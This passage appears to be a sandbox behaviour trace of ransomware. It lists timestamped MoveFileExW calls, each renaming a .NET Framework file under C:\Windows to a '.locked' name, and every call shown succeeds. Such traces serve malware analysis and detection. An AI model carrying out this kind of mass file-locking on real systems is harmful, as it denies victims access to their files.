MoveFileExW (lpExistingFileName="C:\\\\Windows\\Microsoft.NET\\Framework\\v3.0\\Windows Workflow Foundation\\SQL\\en\\Tracking_Logic.sql" (normalized: "c:\\windows\\microsoft.net\\framework\\v3.0\\windows workflow foundation\\sql\\en\\tracking_logic.sql"), lpNewFileName="C:\\\\Windows\\Microsoft.NET\\Framework\\v3.0\\Windows Workflow Foundation\\SQL\\en\\Tracking_Logic.sql.locked" (normalized: "c:\\windows\\microsoft.net\\framework\\v3.0\\windows workflow foundation\\sql\\en\\tracking_logic.sql.locked"), dwFlags=0x2) returned 1 [0205.999] MoveFileExW (lpExistingFileName="C:\\\\Windows\\Microsoft.NET\\Framework\\v3.0\\Windows Workflow Foundation\\SQL\\en\\Tracking_Schema.sql" (normalized: "c:\\windows\\microsoft.net\\framework\\v3.0\\windows workflow foundation\\sql\\en\\tracking_schema.sql"), lpNewFileName="C:\\\\Windows\\Microsoft.NET\\Framework\\v3.0\\Windows Workflow Foundation\\SQL\\en\\Tracking_Schema.sql.locked" (normalized: "c:\\windows\\microsoft.net\\framework\\v3.0\\windows workflow foundation\\sql\\en\\tracking_schema.sql.locked"), dwFlags=0x2) returned 1 [0206.020] MoveFileExW (lpExistingFileName="C:\\\\Windows\\Microsoft.NET\\Framework\\v3.5\\DataSvcUtil.exe.config" (normalized: "c:\\windows\\microsoft.net\\framework\\v3.5\\datasvcutil.exe.config"), lpNewFileName="C:\\\\Windows\\Microsoft.NET\\Framework\\v3.5\\DataSvcUtil.exe.config.locked" (normalized: "c:\\windows\\microsoft.net\\framework\\v3.5\\datasvcutil.exe.config.locked"), dwFlags=0x2) returned 1 [0206.022] MoveFileExW (lpExistingFileName="C:\\\\Windows\\Microsoft.NET\\Framework\\v3.5\\EdmGen.exe.config" (normalized: "c:\\windows\\microsoft.net\\framework\\v3.5\\edmgen.exe.config"), lpNewFileName="C:\\\\Windows\\Microsoft.NET\\Framework\\v3.5\\EdmGen.exe.config.locked" (normalized: "c:\\windows\\microsoft.net\\framework\\v3.5\\edmgen.exe.config.locked"), dwFlags=0x2) returned 1 [0206.048] MoveFileExW (lpExistingFileName="C:\\\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\AddInProcess.exe.config" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\addinprocess.exe.config"), lpNewFileName="C:\\\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\AddInProcess.exe.config.locked" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\addinprocess.exe.config.locked"), dwFlags=0x2) returned 1 [0206.051] MoveFileExW (lpExistingFileName="C:\\\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\AddInProcess32.exe.config" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\addinprocess32.exe.config"), lpNewFileName="C:\\\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\AddInProcess32.exe.config.locked" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\addinprocess32.exe.config.locked"), dwFlags=0x2) returned 1 [0206.054] MoveFileExW (lpExistingFileName="C:\\\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\AddInUtil.exe.config" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\addinutil.exe.config"), lpNewFileName="C:\\\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\AddInUtil.exe.config.locked" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\addinutil.exe.config.locked"), dwFlags=0x2) returned 1 [0206.056] MoveFileExW (lpExistingFileName="C:\\\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\applaunch.exe.config" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\applaunch.exe.config"), lpNewFileName="C:\\\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\applaunch.exe.config.locked" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\applaunch.exe.config.locked"), dwFlags=0x2) returned 1 [0206.075] MoveFileExW (lpExistingFileName="C:\\\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\AppConfig\\AppConfigHome.aspx" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\asp.netwebadminfiles\\appconfig\\appconfighome.aspx"), lpNewFileName="C:\\\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\AppConfig\\AppConfigHome.aspx.locked" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\asp.netwebadminfiles\\appconfig\\appconfighome.aspx.locked"), dwFlags=0x2) returned 1 [0206.084] MoveFileExW (lpExistingFileName="C:\\\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\AppConfig\\CreateAppSetting.aspx" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\asp.netwebadminfiles\\appconfig\\createappsetting.aspx"), lpNewFileName="C:\\\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\AppConfig\\CreateAppSetting.aspx.locked" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\asp.netwebadminfiles\\appconfig\\createappsetting.aspx.locked"), dwFlags=0x2) returned 1 [0206.100] MoveFileExW (lpExistingFileName="C:\\\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\AppConfig\\DebugAndTrace.aspx" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\asp.netwebadminfiles\\appconfig\\debugandtrace.aspx"), lpNewFileName="C:\\\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\AppConfig\\DebugAndTrace.aspx.locked" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\asp.netwebadminfiles\\appconfig\\debugandtrace.aspx.locked"), dwFlags=0x2) returned 1 [0206.121] MoveFileExW (lpExistingFileName="C:\\\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\AppConfig\\DefineErrorPage.aspx" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\asp.netwebadminfiles\\appconfig\\defineerrorpage.aspx"), lpNewFileName="C:\\\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\AppConfig\\DefineErrorPage.aspx.locked" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\asp.netwebadminfiles\\appconfig\\defineerrorpage.aspx.locked"), dwFlags=0x2) returned 1 [0206.127] MoveFileExW (lpExistingFileName="C:\\\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\AppConfig\\EditAppSetting.aspx" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\asp.netwebadminfiles\\appconfig\\editappsetting.aspx"), lpNewFileName="C:\\\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\AppConfig\\EditAppSetting.aspx.locked" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\asp.netwebadminfiles\\appconfig\\editappsetting.aspx.locked"), dwFlags=0x2) returned 1 [0206.144] MoveFileExW (lpExistingFileName="C:\\\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\AppConfig\\ManageAppSettings.aspx" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\asp.netwebadminfiles\\appconfig\\manageappsettings.aspx"), lpNewFileName="C:\\\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\AppConfig\\ManageAppSettings.aspx.locked" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\asp.netwebadminfiles\\appconfig\\manageappsettings.aspx.locked"), dwFlags=0x2) returned 1 [0206.165] MoveFileExW (lpExistingFileName="C:\\\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\AppConfig\\SmtpSettings.aspx" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\asp.netwebadminfiles\\appconfig\\smtpsettings.aspx"), lpNewFileName="C:\\\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\AppConfig\\SmtpSettings.aspx.locked" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\asp.netwebadminfiles\\appconfig\\smtpsettings.aspx.locked"), dwFlags=0x2) returned 1 [0206.173] MoveFileExW (lpExistingFileName="C:\\\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_Code\\ApplicationConfigurationPage.cs" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\asp.netwebadminfiles\\app_code\\applicationconfigurationpage.cs"), lpNewFileName="C:\\\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_Code\\ApplicationConfigurationPage.cs.locked" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\asp.netwebadminfiles\\app_code\\applicationconfigurationpage.cs.locked"), dwFlags=0x2) returned 1 [0206.177] MoveFileExW (lpExistingFileName="C:\\\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_Code\\NavigationBar.cs" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\asp.netwebadminfiles\\app_code\\navigationbar.cs"), lpNewFileName="C:\\\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_Code\\NavigationBar.cs.locked" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\asp.netwebadminfiles\\app_code\\navigationbar.cs.locked"), dwFlags=0x2) returned 1 [0206.181] MoveFileExW (lpExistingFileName="C:\\\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_Code\\PasswordValueTextBox.cs" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\asp.netwebadminfiles\\app_code\\passwordvaluetextbox.cs"), lpNewFileName="C:\\\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_Code\\PasswordValueTextBox.cs.locked" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\asp.netwebadminfiles\\app_code\\passwordvaluetextbox.cs.locked"), dwFlags=0x2) returned 1 [0206.190] MoveFileExW (lpExistingFileName="C:\\\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_Code\\ProvidersPage.cs" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\asp.netwebadminfiles\\app_code\\providerspage.cs"), lpNewFileName="C:\\\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_Code\\ProvidersPage.cs.locked" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\asp.netwebadminfiles\\app_code\\providerspage.cs.locked"), dwFlags=0x2) returned 1 [0206.196] MoveFileExW (lpExistingFileName="C:\\\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_Code\\SecurityPage.cs" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\asp.netwebadminfiles\\app_code\\securitypage.cs"), lpNewFileName="C:\\\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_Code\\SecurityPage.cs.locked" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\asp.netwebadminfiles\\app_code\\securitypage.cs.locked"), dwFlags=0x2) returned 1 [0206.246] MoveFileExW (lpExistingFileName="C:\\\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_Code\\WebAdminPage.cs" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\asp.netwebadminfiles\\app_code\\webadminpage.cs"), lpNewFileName="C:\\\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_Code\\WebAdminPage.cs.locked" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\asp.netwebadminfiles\\app_code\\webadminpage.cs.locked"), dwFlags=0x2) returned 1 [0206.250] MoveFileExW (lpExistingFileName="C:\\\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_Code\\WizardPage.cs" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\asp.netwebadminfiles\\app_code\\wizardpage.cs"), lpNewFileName="C:\\\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_Code\\WizardPage.cs.locked" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\asp.netwebadminfiles\\app_code\\wizardpage.cs.locked"), dwFlags=0x2) returned 1 [0206.254] MoveFileExW (lpExistingFileName="C:\\\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_Data\\GroupedProviders.xml" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\asp.netwebadminfiles\\app_data\\groupedproviders.xml"), lpNewFileName="C:\\\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_Data\\GroupedProviders.xml.locked" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\asp.netwebadminfiles\\app_data\\groupedproviders.xml.locked"), dwFlags=0x2) returned 1 [0206.268] MoveFileExW (lpExistingFileName="C:\\\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\default.aspx" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\asp.netwebadminfiles\\default.aspx"), lpNewFileName="C:\\\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\default.aspx.locked" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\asp.netwebadminfiles\\default.aspx.locked"), dwFlags=0x2) returned 1 [0206.277] MoveFileExW (lpExistingFileName="C:\\\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\error.aspx" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\asp.netwebadminfiles\\error.aspx"), lpNewFileName="C:\\\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\error.aspx.locked" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\asp.netwebadminfiles\\error.aspx.locked"), dwFlags=0x2) returned 1 [0206.281] MoveFileExW (lpExistingFileName="C:\\\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\home0.aspx" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\asp.netwebadminfiles\\home0.aspx"), lpNewFileName="C:\\\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\home0.aspx.locked" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\asp.netwebadminfiles\\home0.aspx.locked"), dwFlags=0x2) returned 1 [0206.285] MoveFileExW (lpExistingFileName="C:\\\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\home1.aspx" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\asp.netwebadminfiles\\home1.aspx"), lpNewFileName="C:\\\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\home1.aspx.locked" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\asp.netwebadminfiles\\home1.aspx.locked"), dwFlags=0x2) returned 1 [0206.289] MoveFileExW (lpExistingFileName="C:\\\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\home2.aspx" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\asp.netwebadminfiles\\home2.aspx"), lpNewFileName="C:\\\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\home2.aspx.locked" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\asp.netwebadminfiles\\home2.aspx.locked"), dwFlags=0x2) returned 1 [0206.295] MoveFileExW (lpExistingFileName="C:\\\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\Images\\alert_lrg.gif" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\asp.netwebadminfiles\\images\\alert_lrg.gif"), lpNewFileName="C:\\\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\Images\\alert_lrg.gif.locked" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\asp.netwebadminfiles\\images\\alert_lrg.gif.locked"), dwFlags=0x2) returned 1 [0206.321] MoveFileExW (lpExistingFileName="C:\\\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\Images\\ASPdotNET_logo.jpg" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\asp.netwebadminfiles\\images\\aspdotnet_logo.jpg"), lpNewFileName="C:\\\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\Images\\ASPdotNET_logo.jpg.locked" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\asp.netwebadminfiles\\images\\aspdotnet_logo.jpg.locked"), dwFlags=0x2) returned 1 [0206.323] MoveFileExW (lpExistingFileName="C:\\\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\Images\\aspx_file.gif" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\asp.netwebadminfiles\\images\\aspx_file.gif"), lpNewFileName="C:\\\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\Images\\aspx_file.gif.locked" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\asp.netwebadminfiles\\images\\aspx_file.gif.locked"), dwFlags=0x2) returned 1 [0206.328] MoveFileExW (lpExistingFileName="C:\\\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\Images\\branding_Full2.gif" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\asp.netwebadminfiles\\images\\branding_full2.gif"), lpNewFileName="C:\\\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\Images\\branding_Full2.gif.locked" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\asp.netwebadminfiles\\images\\branding_full2.gif.locked"), dwFlags=0x2) returned 1 [0206.342] MoveFileExW (lpExistingFileName="C:\\\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\Images\\darkBlue_GRAD.jpg" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\asp.netwebadminfiles\\images\\darkblue_grad.jpg"), lpNewFileName="C:\\\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\Images\\darkBlue_GRAD.jpg.locked" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\asp.netwebadminfiles\\images\\darkblue_grad.jpg.locked"), dwFlags=0x2) returned 1 [0206.344] MoveFileExW (lpExistingFileName="C:\\\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\Images\\deselectedTab_1x1.gif" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\asp.netwebadminfiles\\images\\deselectedtab_1x1.gif"), lpNewFileName="C:\\\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\Images\\deselectedTab_1x1.gif.locked" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\asp.netwebadminfiles\\images\\deselectedtab_1x1.gif.locked"), dwFlags=0x2) returned 1 [0206.348] MoveFileExW (lpExistingFileName="C:\\\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\Images\\folder.gif" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\asp.netwebadminfiles\\images\\folder.gif"), lpNewFileName="C:\\\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\Images\\folder.gif.locked" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\asp.netwebadminfiles\\images\\folder.gif.locked"), dwFlags=0x2) returned 1 [0206.351] MoveFileExW (lpExistingFileName="C:\\\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\Images\\gradient_onBlue.gif" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\asp.netwebadminfiles\\images\\gradient_onblue.gif"), lpNewFileName="C:\\\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\Images\\gradient_onBlue.gif.locked" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\asp.netwebadminfiles\\images\\gradient_onblue.gif.locked"), dwFlags=0x2) returned 1 [0206.353] MoveFileExW (lpExistingFileName="C:\\\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\Images\\gradient_onWhite.gif" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\asp.netwebadminfiles\\images\\gradient_onwhite.gif"), lpNewFileName="C:\\\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\Images\\gradient_onWhite.gif.locked" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\asp.netwebadminfiles\\images\\gradient_onwhite.gif.locked"), dwFlags=0x2) returned 1 [0206.356] MoveFileExW (lpExistingFileName="C:\\\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\Images\\headerGRADIENT_Tall.gif" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\asp.netwebadminfiles\\images\\headergradient_tall.gif"), lpNewFileName="C:\\\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\Images\\headerGRADIENT_Tall.gif.locked" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\asp.netwebadminfiles\\images\\headergradient_tall.gif.locked"), dwFlags=0x2) returned 1 [0206.360] MoveFileExW (lpExistingFileName="C:\\\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\Images\\help.jpg" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\asp.netwebadminfiles\\images\\help.jpg"), lpNewFileName="C:\\\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\Images\\help.jpg.locked" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\asp.netwebadminfiles\\images\\help.jpg.locked"), dwFlags=0x2) returned 1 [0206.364] MoveFileExW (lpExistingFileName="C:\\\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\Images\\HelpIcon_solid.gif" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\asp.netwebadminfiles\\images\\helpicon_solid.gif"), lpNewFileName="C:\\\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\Images\\HelpIcon_solid.gif.locked" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\asp.netwebadminfiles\\images\\helpicon_solid.gif.locked"), dwFlags=0x2) returned 1 [0206.366] MoveFileExW (lpExistingFileName="C:\\\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\Images\\image1.gif" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\asp.netwebadminfiles\\images\\image1.gif"), lpNewFileName="C:\\\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\Images\\image1.gif.locked" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\asp.netwebadminfiles\\images\\image1.gif.locked"), dwFlags=0x2) returned 1 [0206.369] MoveFileExW (lpExistingFileName="C:\\\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\Images\\image2.gif" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\asp.netwebadminfiles\\images\\image2.gif"), lpNewFileName="C:\\\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\Images\\image2.gif.locked" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\asp.netwebadminfiles\\images\\image2.gif.locked"), dwFlags=0x2) returned 1 [0206.372] MoveFileExW (lpExistingFileName="C:\\\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\Images\\requiredBang.gif" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\asp.netwebadminfiles\\images\\requiredbang.gif"), lpNewFileName="C:\\\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\Images\\requiredBang.gif.locked" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\asp.netwebadminfiles\\images\\requiredbang.gif.locked"), dwFlags=0x2) returned 1 [0206.375] MoveFileExW (lpExistingFileName="C:\\\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\Images\\security_watermark.jpg" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\asp.netwebadminfiles\\images\\security_watermark.jpg"), lpNewFileName="C:\\\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\Images\\security_watermark.jpg.locked" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\asp.netwebadminfiles\\images\\security_watermark.jpg.locked"), dwFlags=0x2) returned 1 [0206.377] MoveFileExW (lpExistingFileName="C:\\\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\Images\\selectedTab_1x1.gif" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\asp.netwebadminfiles\\images\\selectedtab_1x1.gif"), lpNewFileName="C:\\\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\Images\\selectedTab_1x1.gif.locked" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\asp.netwebadminfiles\\images\\selectedtab_1x1.gif.locked"), dwFlags=0x2) returned 1 [0206.380] MoveFileExW (lpExistingFileName="C:\\\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\Images\\selectedTab_leftCorner.gif" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\asp.netwebadminfiles\\images\\selectedtab_leftcorner.gif"), lpNewFileName="C:\\\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\Images\\selectedTab_leftCorner.gif.locked" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\asp.netwebadminfiles\\images\\selectedtab_leftcorner.gif.locked"), dwFlags=0x2) returned 1 [0206.382] MoveFileExW (lpExistingFileName="C:\\\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\Images\\selectedTab_rightCorner.gif" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\asp.netwebadminfiles\\images\\selectedtab_rightcorner.gif"), lpNewFileName="C:\\\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\Images\\selectedTab_rightCorner.gif.locked" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\asp.netwebadminfiles\\images\\selectedtab_rightcorner.gif.locked"), dwFlags=0x2) returned 1 [0206.393] MoveFileExW (lpExistingFileName="C:\\\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\Images\\topGradRepeat.jpg" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\asp.netwebadminfiles\\images\\topgradrepeat.jpg"), lpNewFileName="C:\\\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\Images\\topGradRepeat.jpg.locked" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\asp.netwebadminfiles\\images\\topgradrepeat.jpg.locked"), dwFlags=0x2) returned 1 [0206.396] MoveFileExW (lpExistingFileName="C:\\\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\Images\\unSelectedTab_leftCorner.gif" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\asp.netwebadminfiles\\images\\unselectedtab_leftcorner.gif"), lpNewFileName="C:\\\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\Images\\unSelectedTab_leftCorner.gif.locked" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\asp.netwebadminfiles\\images\\unselectedtab_leftcorner.gif.locked"), dwFlags=0x2) returned 1 [0206.398] MoveFileExW (lpExistingFileName="C:\\\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\Images\\unSelectedTab_rightCorner.gif" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\asp.netwebadminfiles\\images\\unselectedtab_rightcorner.gif"), lpNewFileName="C:\\\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\Images\\unSelectedTab_rightCorner.gif.locked" (normalized: 